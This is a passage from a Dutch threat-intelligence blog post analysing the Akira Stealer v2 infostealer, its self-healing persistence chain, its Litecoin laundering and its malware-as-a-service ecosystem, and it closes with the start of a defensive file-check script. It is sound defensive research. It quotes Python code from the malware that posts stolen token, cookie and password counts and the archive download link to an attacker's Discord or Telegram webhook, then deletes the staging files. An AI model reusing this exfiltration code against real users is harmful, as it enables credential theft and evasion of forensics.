archieflink. Die redundantie garandeert bezorging, ook als het platform de embed blokkeert of wegfiltert. Vanuit het perspectief van de verdediger blijft deze communicatie meestal onzichtbaar, tenzij er monitoring op uitgaand netwerkverkeer staat.",[533,10424,10425],{},[540,10426,10427],{},"Embed-notificatie",[588,10429,10431],{"className":4495,"code":10430,"language":4497,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[551,10432,10433,10438,10443,10448,10453,10458,10463,10468,10473,10477,10482,10487,10492,10496],{"__ignoreMap":594},[1681,10434,10435],{"class":1683,"line":1684},[1681,10436,10437],{},"# Build embed with key metadata\n",[1681,10439,10440],{"class":1683,"line":2061},[1681,10441,10442],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1681,10444,10445],{"class":1683,"line":2067},[1681,10446,10447],{},"fields = [\n",[1681,10449,10450],{"class":1683,"line":2073},[1681,10451,10452],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1681,10454,10455],{"class":1683,"line":2394},[1681,10456,10457],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1681,10459,10460],{"class":1683,"line":2400},[1681,10461,10462],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1681,10464,10465],{"class":1683,"line":3059},[1681,10466,10467],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1681,10469,10470],{"class":1683,"line":3856},[1681,10471,10472],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1681,10474,10475],{"class":1683,"line":3862},[1681,10476,7926],{},[1681,10478,10479],{"class":1683,"line":4109},[1681,10480,10481],{},"payload = {\n",[1681,10483,10484],{"class":1683,"line":5033},[1681,10485,10486],{},"    'username':'Akira 💊',\n",[1681,10488,10489],{"class":1683,"line":5039},[1681,10490,10491],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1681,10493,10494],{"class":1683,"line":5045},[1681,10495,2403],{},[1681,10497,10498],{"class":1683,"line":5051},[1681,10499,10500],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10502,10503,10509],{},[607,10504,10505,10508],{},[540,10506,10507],{},"Bezorging",": gaat naar het Discord- of Telegram-kanaal van de aanvaller.",[607,10510,10511,10514,10515,10518],{},[540,10512,10513],{},"Embed-link",": bevat een klikbare ",[551,10516,10517],{},"download_url"," die verwijst naar het ZIP-bestand op GoFile of op de fallback-host.",[533,10520,10521],{},[540,10522,10523],{},"Fallback met platte link",[588,10525,10527],{"className":4495,"code":10526,"language":4497,"meta":594,"style":594},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[551,10528,10529,10534,10539],{"__ignoreMap":594},[1681,10530,10531],{"class":1683,"line":1684},[1681,10532,10533],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1681,10535,10536],{"class":1683,"line":2061},[1681,10537,10538],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1681,10540,10541],{"class":1683,"line":2067},[1681,10542,10543],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10545,10546],{},[607,10547,10548,10551],{},[540,10549,10550],{},"Platte tekst",": garandeert dat de link aankomt als embeds geblokkeerd of stil verworpen worden.",[533,10553,10554],{},[540,10555,10556],{},"Hoe de aanvaller de link ophaalt",[533,10558,10559,10562],{},[540,10560,10561],{},"1. Webhook-infrastructuur","\nDe aanvaller neemt het webhook-endpoint op in de configuratie van de malware:",[588,10564,10566],{"className":4495,"code":10565,"language":4497,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[551,10567,10568,10573],{"__ignoreMap":594},[1681,10569,10570],{"class":1683,"line":1684},[1681,10571,10572],{},"# at class initialization\n",[1681,10574,10575],{"class":1683,"line":2061},[1681,10576,10577],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10579,10580,10587],{},[607,10581,10582,973,10584],{},[540,10583,1318],{},[551,10585,10586],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10588,10589,973,10592],{},[540,10590,10591],{},"Telegram",[551,10593,10594],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[533,10596,10597,10600],{},[540,10598,10599],{},"2. Bezorging in realtime","\nDirect na een geslaagde upload voert de malware dit uit:",[588,10602,10604],{"className":4495,"code":10603,"language":4497,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[551,10605,10606,10610,10615,10620,10625,10630,10635,10640,10645,10649,10654],{"__ignoreMap":594},[1681,10607,10608],{"class":1683,"line":1684},[1681,10609,10481],{},[1681,10611,10612],{"class":1683,"line":2061},[1681,10613,10614],{},"  'username': 'Akira 💊',\n",[1681,10616,10617],{"class":1683,"line":2067},[1681,10618,10619],{},"  'embeds': [{\n",[1681,10621,10622],{"class":1683,"line":2073},[1681,10623,10624],{},"      'title': '🗄️ Exfiltration Complete',\n",[1681,10626,10627],{"class":1683,"line":2394},[1681,10628,10629],{},"      'fields': [\n",[1681,10631,10632],{"class":1683,"line":2400},[1681,10633,10634],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1681,10636,10637],{"class":1683,"line":3059},[1681,10638,10639],{},"      ]\n",[1681,10641,10642],{"class":1683,"line":3856},[1681,10643,10644],{},"  }]\n",[1681,10646,10647],{"class":1683,"line":3862},[1681,10648,2403],{},[1681,10650,10651],{"class":1683,"line":4109},[1681,10652,10653],{},"# Transmit the archive URL entirely in the JSON body\n",[1681,10655,10656],{"class":1683,"line":5033},[1681,10657,10658],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10660,10661,10671],{},[607,10662,10663,10664,10666,10667,10670],{},"De variabele ",[551,10665,10517],{}," wordt geïnterpoleerd in ",[551,10668,10669],{},"fields.value"," van de embed.",[607,10672,10673,10674,10676,10677,697],{},"Bij de Telegram-fallback staat de ",[551,10675,10517],{}," in de plattetekstparameter ",[551,10678,10679],{},"message",[533,10681,10682],{},[540,10683,10684],{},"3. Beperkingen van EDR en forensische zichtbaarheid",[604,10686,10687,10696],{},[607,10688,10689,10692,10693,10695],{},[540,10690,10691],{},"Geen lokale logging",": de malware schrijft de ",[551,10694,10517],{}," niet naar disk of naar systeemlogs.",[607,10697,10698,10701],{},[540,10699,10700],{},"Blinde vlekken in EDR",": tools als Microsoft Defender for Endpoint kunnen de poging tot het HTTP-verzoek markeren, maar de ingesloten URL niet uitlezen.",[533,10703,10704],{},[540,10705,10706],{},"4. Waarom een analist dit lokaal niet kan reconstrueren:",[604,10708,10709,10722,10743],{},[607,10710,10711,10714,10715,10717,10718,10721],{},[540,10712,10713],{},"Geen lokale kopie van de link",": de malware houdt de ",[551,10716,10517],{}," alleen in het geheugen en verzendt die over het netwerk; deze URL wordt ",[4632,10719,10720],{},"niet"," naar disk of naar logs geschreven.",[607,10723,10724,10727,10728,10730,10735,10736,10738,10739,10742],{},[540,10725,10726],{},"Opruimen van de tijdelijke staging",": direct na de upload voert de code dit uit:",[699,10729],{},[1681,10731,10734],{"className":10732},[10733],"text-monospace","shutil.rmtree(ROOT)",",",[699,10737],{},"\nwaarmee alle gestageerde artefacten, inclusief tijdelijke tekstbestanden, uit ",[551,10740,10741],{},"%TEMP%"," worden gewist.",[607,10744,10745,10748,10749,10752],{},[540,10746,10747],{},"Verzending uitsluitend via het netwerk",": webhook-calls (",[551,10750,10751],{},"requests.post",") verlopen in het geheugen; op de machine van het slachtoffer ontstaan geen HTTP-logs of items in de browsergeschiedenis.",[821,10754,10755],{},[533,10756,10757,10760,10761,10763,10764,10766],{},[540,10758,10759],{},"Implicatie voor analisten:","\nZonder live packet capture (bijvoorbeeld via een netwerk-TAP of proxy) op het moment van uitvoering is de exacte ",[551,10762,10517],{}," na de infectie niet meer te achterhalen.\nBovendien wordt het geëxfiltreerde archief automatisch bij de hostingdienst verwijderd, wat het tijdvenster voor forensisch ophalen verder verkleint.\nImaging na de infectie of host-based forensisch onderzoek brengt de URL van de aanvaller of de credentials van de filehost ",[4632,10765,10720],{}," aan het licht, omdat er lokaal geen artefacten achterblijven.",[827,10768],{"className":10769},[830,831],[715,10771,10773],{"id":10772},"_713-conclusie","7.13 Conclusie",[533,10775,721],{},[533,10777,10778,10780],{},[551,10779,582],{}," (Akira Stealer v2) is een uitgebreide, commercieel gedistribueerde stealer-toolkit. Het combineert een breed doelwitbereik, geraffineerde anti-analyse, dynamische controle over de infrastructuur en volledige data-diefstal over credentials, crypto, systeemprofilering en gebruikersbestanden. De modulariteit en stealth, samen met snelle herinfectiemethoden, maken het een van de technisch meest geavanceerde stealers die in actieve inzet zijn waargenomen.",[528,10782,10784],{"id":10783},"_8-circulaire-uitvoeringsketen-een-self-healing-loop","8. Circulaire uitvoeringsketen: een self-healing loop",[533,10786,535],{},[533,10788,10789,10790,10793],{},"Een van de technisch meest geraffineerde elementen van deze campagne is het regeneratieve, circulaire uitvoeringsmodel. Anders dan conventionele malware met lineaire fasen die van dropper naar payload lopen en daarna verdwijnen, is deze operatie gebouwd als een ",[540,10791,10792],{},"closed loop",", waarin elk component over de andere waakt.",[533,10795,10796,10797,10800],{},"Deze ",[540,10798,10799],{},"self-healing architectuur"," maakte de infectieketen niet alleen persistent, maar ook autonoom. Ze kon volledig herstellen van gedeeltelijke verwijdering. Zolang één onderdeel in leven bleef, kon het volledige malware-ecosysteem zichzelf weer opbouwen.",[715,10802,10804],{"id":10803},"_81-gedragsanalyse","8.1 Gedragsanalyse",[533,10806,721],{},[2081,10808,10809,10835,10848,10879,10897],{},[607,10810,10811,10816,10818,10819,10822,10823,10825,10826,10828,10829,10831,10832,10834],{},[540,10812,10813,10814,1113],{},"Persistence-anker (",[551,10815,574],{},[551,10817,574],{}," vormt de basis voor de voet aan de grond. Het bestand wordt doorgaans in een Windows-startuplocatie van de gebruiker geplaatst, zoals ",[551,10820,10821],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", of geregistreerd via ",[551,10824,1653],{},". De taak is eenvoudig maar cruciaal: zorgen dat ",[551,10827,578],{}," aanwezig is en het stil starten tijdens de logon van de gebruiker. Als ",[551,10830,578],{}," ontbreekt, pakt het het archief ",[551,10833,1823],{}," opnieuw uit (uit een temp-map of opnieuw gedropt) en regenereert daarmee de volledige Electron-appstructuur.",[607,10836,10837,10842,10844,10845,10847],{},[540,10838,10839,10840,1113],{},"Bridge loader (",[551,10841,578],{},[551,10843,578],{}," is de in Electron gewikkelde Node.js-applicatie. Het toont geen enkele GUI en werkt volledig op de achtergrond. Bij uitvoering draait het de ingebedde JavaScript-logica binnen ",[551,10846,1047],{},", met Node.js als runtime-omgeving. Deze abstractielaag koppelt de kernlogica los van de PE-stub, wat traditionele analyse bemoeilijkt.",[607,10849,10850,10855,10856,10858,10859],{},[540,10851,10852,10853,1113],{},"Uitvoeringsorkestrator (",[551,10854,2808],{},"\nIngebed in ",[551,10857,1047],{}," is dit de echte controller van de infectieketen. De belangrijkste functies zijn:",[604,10860,10861,10867,10870],{},[607,10862,10863,10864,10866],{},"Controleren of ",[551,10865,574],{}," aanwezig is en het opnieuw uitrollen als het ontbreekt",[607,10868,10869],{},"Dynamisch injecteren van runtime-configuratie: webhook-URL's, C2-adressen, tokens",[607,10871,10872,10873,10875,10876,10878],{},"Ofwel de al aanwezige Python-payload (",[551,10874,582],{},") aanroepen, ofwel deze downloaden als onderdeel van een ZIP-bundel (bijvoorbeeld ",[551,10877,2872],{},") van infrastructuur onder controle van de aanvaller",[607,10880,10881,10886,10887,10889,10890,10892,10893,10896],{},[540,10882,10883,10884,1113],{},"Payload-uitvoering (",[551,10885,582],{},"\nZodra ",[551,10888,582],{}," wordt getriggerd, draait het in het geheugen via ",[551,10891,553],{},". Het verzamelt systematisch opgeslagen credentials, cookies, Discord-tokens, browsersessiedata en extensies voor cryptowallets. De data wordt in een ZIP-archief klaargezet en via HTTPS geëxfiltreerd, meestal naar Discord-webhooks, maar ook fallback-API's zoals ",[551,10894,10895],{},"gofile.io"," of eigen C2-endpoints zijn waargenomen.",[607,10898,10899,10902,10903,10905,10906,10908,10909,10911,10912,10914,10915,10917],{},[540,10900,10901],{},"Integriteit van de loop en self-healing","\nHet ontwerp is circulair. Wordt ",[551,10904,574],{}," verwijderd, dan wordt het opnieuw uitgerold. Ontbreekt ",[551,10907,578],{},", dan pakt ",[551,10910,574],{}," het opnieuw uit ",[551,10913,1823],{},". Wordt ",[551,10916,582],{}," verwijderd, dan haalt de JavaScript-laag het opnieuw op. Die onderlinge afhankelijkheid maakt de malware weerbaar en in staat om de uitvoeringsketen vanuit vrijwel elk overgebleven fragment te reconstrueren.",[533,10919,10920,10921,10924],{},"Deze architectuur is niet alleen modulair, maar ",[540,10922,10923],{},"zelfvoorzienend",", doelbewust gebouwd voor stealth, flexibiliteit en langdurige overleving in doelomgevingen.",[715,10926,10928],{"id":10927},"_82-waarom-dit-opmerkelijk-is","8.2 Waarom dit opmerkelijk is",[533,10930,721],{},[533,10932,10933,10934,697],{},"Het architectonische ontwerp van de campagne laat een niveau van raffinement zien dat je bij commodity-infostealers normaal niet aantreft. Het gaat verder dan eenvoudige multi-stage loaders: dit is malware gebouwd voor ",[540,10935,10936],{},"operationele weerbaarheid, stealth en automatisering",[533,10938,10939],{},[540,10940,10941],{},"Belangrijkste kenmerken",[604,10943,10944,10950,10988,11008],{},[607,10945,10946,10949],{},[540,10947,10948],{},"Volledige autonomie","\nZodra de malware is uitgerold, is er geen interactie van de gebruiker of externe heractivering nodig. Ze gedraagt zich als een kwaadaardige microservice die haar eigen persistence, payload-uitvoering en herstelroutines orkestreert zonder externe sturing.",[607,10951,10952,10955,10956],{},[540,10953,10954],{},"Uitvoeringsstack in meerdere talen","\nDe toolchain integreert:",[604,10957,10958,10968,10974,10980],{},[607,10959,10960,10963,10964,620,10966,1113],{},[540,10961,10962],{},"PE-binaries"," (",[551,10965,574],{},[551,10967,578],{},[607,10969,10970,10973],{},[540,10971,10972],{},"Node.js / JavaScript"," (via Electron)",[607,10975,10976,10979],{},[540,10977,10978],{},"PowerShell"," (gebruikt als geobfusceerde payload-relay)",[607,10981,10982,10963,10985,10987],{},[540,10983,10984],{},"Python",[551,10986,582],{},", uitgevoerd als geheugenresidente stealer)\nDeze gelaagde samenstelling maakt het moeilijker om de malware te profileren, te fingerprinten en met conventionele statische tools te analyseren.",[607,10989,10990,10993,10994],{},[540,10991,10992],{},"Defense evasion by design","\nElk component is gecodeerd, versleuteld of dynamisch geïnjecteerd:",[604,10995,10996,10999,11002,11005],{},[607,10997,10998],{},"Base64-PowerShell-relay",[607,11000,11001],{},"AES-versleutelde en met GZIP gecomprimeerde Python-kern",[607,11003,11004],{},"Geobfusceerd JavaScript met token-injectie tijdens runtime",[607,11006,11007],{},"Self-healing gedrag dat gedeeltelijke verwijdering frustreert",[607,11009,11010,11013,11014,10914,11017,11019,11020,11022],{},[540,11011,11012],{},"Geen enkel single point of failure","\nDe zelfherstellende logica van de malware zorgt ervoor dat ",[540,11015,11016],{},"het verwijderen van één component niet volstaat",[551,11018,574],{}," verwijderd, dan maakt de infostealer het opnieuw aan. Wordt ",[551,11021,582],{}," verwijderd, dan wordt het door de JavaScript-controller opnieuw gedownload en uitgerold.",[533,11024,11025,11026,11029],{},"Kort gezegd gedraagt de malware zich meer als een ",[540,11027,11028],{},"gedistribueerd systeem"," dan als een typische payload, een systeem dat overlevingskans, modulariteit en stealth vooropstelt.",[533,11031,11032,11033,11036],{},"Daarmee stijgt de dreiging van een opportunistische aanval naar een ",[540,11034,11035],{},"weerbaar, adaptief platform",", wat verdedigers dwingt die complexiteit te pareren met even gelaagde detectie- en responsstrategieën.",[715,11038,11040],{"id":11039},"_83-implicaties-voor-blue-teams","8.3 Implicaties voor blue teams",[533,11042,721],{},[533,11044,11045],{},"Voor verdedigers en CSOC-operators legt dit soort architectuur de lat hoger:",[604,11047,11048,11054,11069],{},[607,11049,11050,11053],{},[540,11051,11052],{},"Gedeeltelijke opruiming werkt niet",". Alle knooppunten moeten worden geïdentificeerd en gelijktijdig verwijderd.",[607,11055,11056,11059,11060,11062,11063,11062,11065,11062,11067,697],{},[540,11057,11058],{},"Correlatie in Defender for Endpoint"," is essentieel. Analisten moeten volledige ketens traceren: van ",[551,11061,574],{}," → ",[551,11064,1102],{},[551,11066,1199],{},[551,11068,553],{},[607,11070,11071,11074],{},[540,11072,11073],{},"IOC-vrije persistence"," betekent dat heuristieken op geheugenniveau, telemetrie-baselining en ketengebaseerde detectie de sleutel zijn.",[533,11076,11077,11078,11081],{},"Dit is niet zomaar een stealer. Het is een ",[540,11079,11080],{},"weerbaar malwareplatform"," dat zich meer als een gedistribueerd systeem gedraagt dan als een eenvoudige dreiging. En precies dat maakt het zowel indrukwekkend als gevaarlijk.",[528,11083,11085],{"id":11084},"_9-blockchain-tracking-en-analyse","9. Blockchain-tracking en -analyse",[533,11087,535],{},[715,11089,11091],{"id":11090},"_91-geldstromen-traceren-in-een-op-litecoin-gebaseerde-malwarecampagne","9.1 Geldstromen traceren in een op Litecoin gebaseerde malwarecampagne",[533,11093,721],{},[533,11095,11096,11097,11100],{},"Tijdens de reverse-engineeringfase van deze malwarecampagne hebben we meerdere hardcoded wallet-adressen geëxtraheerd die de stealer gebruikt voor het wegsluizen van cryptovaluta. Door de on-chain activiteit van deze Litecoin-wallets te volgen, konden we patronen blootleggen die duiden op doelbewuste witwastactieken. De wallet ",[551,11098,11099],{},"LW6EopiZ..."," onder controle van de aanvaller fungeert als centraal aggregatiepunt. Middelen die van meerdere slachtoffers zijn gestolen, worden naar dit adres gesluisd en daarna razendsnel verdeeld over meerdere nieuwe adressen.",[533,11102,11103],{},"Het gedrag dat hier te zien is, is kenmerkend voor een klassiek split-transferpatroon dat wordt gebruikt bij crypto-tumbling of mixing. In elk geval wordt het volledige inkomende saldo gesplitst in twee ongeveer proportionele uitgaande transacties, elk naar een andere wallet. Deze strategie is bedoeld om address clustering en chain tracing te bemoeilijken door de herkomst van de middelen te verhullen. Het is een effectieve tactiek om detectie door geautomatiseerde blockchain-analytics en threat intelligence-platformen te ontlopen.",[533,11105,11106],{},"Dit witwasgedrag gebruikt een combinatie van transactietiming, nauwkeurig gesplitste bedragen en het minimaliseren van adreshergebruik om de heuristieken te omzeilen die clusteringalgoritmes zoals die van GraphSense, Chainalysis of TRM Labs gewoonlijk toepassen. Het doel is transactiestromen met hoge entropie te creëren, die attributie vertroebelen en linkability doorbreken, vooral wanneer de middelen uiteindelijk naar andere assets worden gebridged of naar privacy-gerichte coins worden geruild.",[533,11108,11109],{},"In het voorbeeld hieronder tonen we een gestructureerde selectie van dit gedrag. De inkomende transacties vertegenwoordigen afzonderlijke overboekingen van slachtoffers. Die bedragen worden vervolgens exact toegewezen aan uitgaande stromen, waarbij de coins worden \"gewassen\" via snelle, voorspelbare en algoritmisch gesplitste uitbetalingen.",[1392,11111,4687,11114],{"className":11112,"style":4686},[11113],"font-size-1",[1408,11115,11116,4687,11139,4687,11172,4687,11200,4687,11229],{},[1398,11117,4692,11118,4692,11122,4692,11126,4692,11129,4692,11133,4692,11136,4687],{},[1401,11119,11121],{"style":11120},"text-align: left; width: 14%;","Inputbron",[1401,11123,11125],{"style":11124},"text-align: left; width: 12%;","Inputdatum",[1401,11127,11128],{"style":11120},"Bedrag in (LTC)",[1401,11130,11132],{"style":11131},"text-align: left; width: 20%;","→ Wallet aanvaller",[1401,11134,11135],{"style":6307},"Uitgaande adressen",[1401,11137,11138],{"style":4856},"Totaal uit (LTC)",[1398,11140,4692,11141,4692,11144,4692,11147,4692,11150,4692,11157,4692,11170,4687],{},[1413,11142,11143],{},"Input_1",[1413,11145,11146],{},"2024-09-21",[1413,11148,11149],{},"0.25339198",[1413,11151,11152,11153,4692],{},"\n      ",[1681,11154,11156],{"title":11155},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1413,11158,11159,11160,11163,11164,11159,11166,11169],{},"\n      - ",[551,11161,11162],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[699,11165],{},[551,11167,11168],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1413,11171,11149],{},[1398,11173,4692,11174,4692,11177,4692,11180,4692,11183,4692,11187,4692,11198,4687],{"style":4713},[1413,11175,11176],{},"Input_2",[1413,11178,11179],{},"2024-04-16",[1413,11181,11182],{},"1.09976044",[1413,11184,11152,11185,4692],{},[1681,11186,11156],{"title":11155},[1413,11188,11159,11189,11192,11193,11159,11195,11197],{},[551,11190,11191],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[699,11194],{},[551,11196,11191],{}," (0.25671380, 2024-06-13)\n    ",[1413,11199,11182],{},[1398,11201,4692,11202,4692,11205,4692,11208,4692,11211,4692,11215,4692,11227,4687],{},[1413,11203,11204],{},"Input_3",[1413,11206,11207],{},"2024-03-06",[1413,11209,11210],{},"0.77089346",[1413,11212,11152,11213,4692],{},[1681,11214,11156],{"title":11155},[1413,11216,11159,11217,11220,11221,11159,11223,11226],{},[551,11218,11219],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[699,11222],{},[551,11224,11225],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1413,11228,11210],{},[1398,11230,4692,11231,4692,11234,4692,11236,4692,11238,4692,11242,4692,11252,4687],{"style":4713},[1413,11232,11233],{},"Input_4",[1413,11235,11207],{},[1413,11237,11210],{},[1413,11239,11152,11240,4692],{},[1681,11241,11156],{"title":11155},[1413,11243,11159,11244,11220,11247,11159,11249,11226],{},[551,11245,11246],{},"LUFLTrqYpix...",[699,11248],{},[551,11250,11251],{},"La22dfH9eM...",[1413,11253,11210],{},[827,11255],{"className":11256},[830,831],[528,11258,11260],{"id":11259},"_10-binnen-het-akira-ecosysteem-gecommercialiseerde-cybercrime-infrastructuur","10. Binnen het Akira-ecosysteem: gecommercialiseerde cybercrime-infrastructuur",[533,11262,535],{},[533,11264,11265],{},"Akira is niet alleen een stealer, het is het middelpunt van een bloeiend ondergronds ecosysteem dat is opgezet om cybercrime te vereenvoudigen, te schalen en te monetariseren.",[715,11267,11269],{"id":11268},"_101-een-plug-and-play-ecosysteem-voor-threat-actors","10.1 Een plug-and-play ecosysteem voor threat actors",[533,11271,721],{},[533,11273,11274],{},"Het Akira-ecosysteem illustreert de evolutie van cybercrime naar een geprofessionaliseerde, service-gedreven economie. Het omvat:",[604,11276,11277,11286,11292,11298,11304],{},[607,11278,11279,11282,11283,1113],{},[540,11280,11281],{},"Builder bots"," voor payload-generatie op aanvraag (bijvoorbeeld ",[551,11284,11285],{},"@AkiraRedBot",[607,11287,11288,11291],{},[540,11289,11290],{},"Telegram-kanalen"," voor updates, feature requests en klantsupport",[607,11293,11294,11297],{},[540,11295,11296],{},"Geautomatiseerde licentie- en betalingsafhandeling",", vaak via directe berichten of anonieme e-commerceplatformen zoals Sellix",[607,11299,11300,11303],{},[540,11301,11302],{},"Gebundelde modules"," zoals clipboard-hijackers, Discord-tokenloggers, browserdata-stealers en zelfs ransomware-add-ons",[607,11305,11306,11309],{},[540,11307,11308],{},"Aanpasbare payloads"," met configuratie-interfaces voor toggles, webhook-invoer en eigen iconen",[533,11311,11312],{},[749,11313],{"alt":11314,"src":11315},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[715,11317,11319],{"id":11318},"_102-commercialisering-van-cybercrime","10.2 Commercialisering van cybercrime",[533,11321,721],{},[533,11323,11324],{},"De structuur van Akira weerspiegelt een bredere beweging richting \"Malware-as-a-Service\" (MaaS), waarbij:",[604,11326,11327,11333,11339,11345],{},[607,11328,11329,11332],{},[540,11330,11331],{},"Geen diepgaande technische kennis"," nodig is om aanvallen te starten",[607,11334,11335,11338],{},[540,11336,11337],{},"De instapkosten laag zijn"," ($75 voor 3 maanden, $150 voor lifetime)",[607,11340,11341,11344],{},[540,11342,11343],{},"Support en documentatie direct beschikbaar zijn"," via Telegram",[607,11346,11347,11350],{},[540,11348,11349],{},"Bijdragen uit de community"," Akira regelmatig uitbreiden met scripts en feature-suggesties",[533,11352,11353],{},"Dit ecosysteem kopieert legitieme SaaS-businessmodellen, met changelogs, UX-verbeteringen, prijsniveaus en upsells.",[533,11355,11356],{},[749,11357],{"alt":11358,"src":11359},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[715,11361,11363],{"id":11362},"_103-voorbij-de-stealer-de-componenten-van-het-ecosysteem","10.3 Voorbij de stealer: de componenten van het ecosysteem",[533,11365,721],{},[533,11367,11368,11370],{},[551,11369,582],{}," is het hart van veel aanvallen, maar het ecosysteem levert een volledige keten:",[604,11372,11373,11376,11379,11382,11385],{},[607,11374,11375],{},"Obfuscation-tools zoals PyInstaller-wrappers",[607,11377,11378],{},"File binders om kwaadaardige payloads aan onschuldige software te koppelen",[607,11380,11381],{},"Compilers, crypters en polymorfisme tijdens runtime",[607,11383,11384],{},"Hosting-mirrors voor payload-levering en exfiltratie (bijvoorbeeld GoFile, AnonFiles)",[607,11386,11387],{},"Databeheerbots die gestolen credentials en hardwareprofielen samenvatten",[533,11389,11390],{},[749,11391],{"alt":11392,"src":11393},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11395,11397],{"id":11396},"_11-akira-stealer-quickcheck-getroffen-bestanden","11. Akira Stealer QuickCheck: getroffen bestanden",[533,11399,535],{},[715,11401,11403],{"id":11402},"_111-waarvoor-dient-dit","11.1 Waarvoor dient dit?",[533,11405,721],{},[533,11407,11408,11409,620,11412,620,11415,2183,11418,11421],{},"Na een vermoedelijke Akira Stealer-infectie is het cruciaal om direct te weten welke bestanden op je systeem risico liepen om te worden geëxfiltreerd. Het hierboven beschreven QuickCheck PowerShell-script repliceert de exacte zoeklogica van Akira: het scant de mappen ",[540,11410,11411],{},"Desktop",[540,11413,11414],{},"Documents",[540,11416,11417],{},"Downloads",[540,11419,11420],{},"OneDrive"," van de gebruiker op bestanden die:",[604,11423,11424,11439,11442],{},[607,11425,11426,11427,620,11430,620,11433,8771,11436],{},"Gevoelige trefwoorden in hun bestandsnaam bevatten, zoals ",[551,11428,11429],{},"password",[551,11431,11432],{},"wallet",[551,11434,11435],{},"backup",[551,11437,11438],{},"token",[607,11440,11441],{},"Specifieke, veelgebruikte doelextensies hebben (.txt, .docx, .pdf, .jpg, enzovoort)",[607,11443,11444],{},"Onder de door de malware gehanteerde limiet van 2 MB blijven",[533,11446,11447,11448,11451],{},"QuickCheck geeft een snel overzicht op basis van de interne logica van Akira Stealer, maar ",[540,11449,11450],{},"is geen vervanging"," voor volwaardige forensische tools of professionele incident response. Volg bij bevestigde inbreuken altijd op met diepgaandere analyse.",[533,11453,11454,11455,620,11458,620,11461,11464,11465,697],{},"Daarna toont het een gesorteerde tabel met ",[540,11456,11457],{},"Bestandsnaam",[540,11459,11460],{},"Relatief pad",[540,11462,11463],{},"Grootte (KB)"," en het ",[540,11466,11467],{},"trefwoord dat de match veroorzaakte",[821,11469,11470],{},[533,11471,11472,11475,11476,11479,11480,11482,11483,11486],{},[540,11473,11474],{},"DISCLAIMER","\nDeze tool wordt ",[540,11477,11478],{},"“as is”"," geleverd, zonder enige garantie op volledigheid of geschiktheid voor een bepaald doel. Ze garandeert ",[540,11481,10720],{}," dat ",[540,11484,11485],{},"alle"," potentieel gevoelige bestanden worden gevonden en vervangt geen volledige malware-forensics. Gebruik op eigen risico.",[827,11488],{"className":11489},[830],[715,11491,11493],{"id":11492},"juridische-kennisgeving","Juridische kennisgeving",[533,11495,721],{},[533,11497,11498,11499,11502,11503,11506],{},"Deze QuickCheck-utility is uitsluitend bedoeld voor ",[540,11500,11501],{},"defensieve security","-assessments. Ongeoorloofd scannen of gebruik op systemen die niet je eigendom zijn, kan in strijd zijn met wetgeving over privacy, auteursrecht of computermisbruik. glueckkanja AG aanvaardt ",[540,11504,11505],{},"geen aansprakelijkheid"," voor misbruik of schade als gevolg van het gebruik.",[715,11508,11510],{"id":11509},"powershell-script","PowerShell-script",[533,11512,721],{},[588,11514,11516],{"className":1675,"code":11515,"language":1677,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © 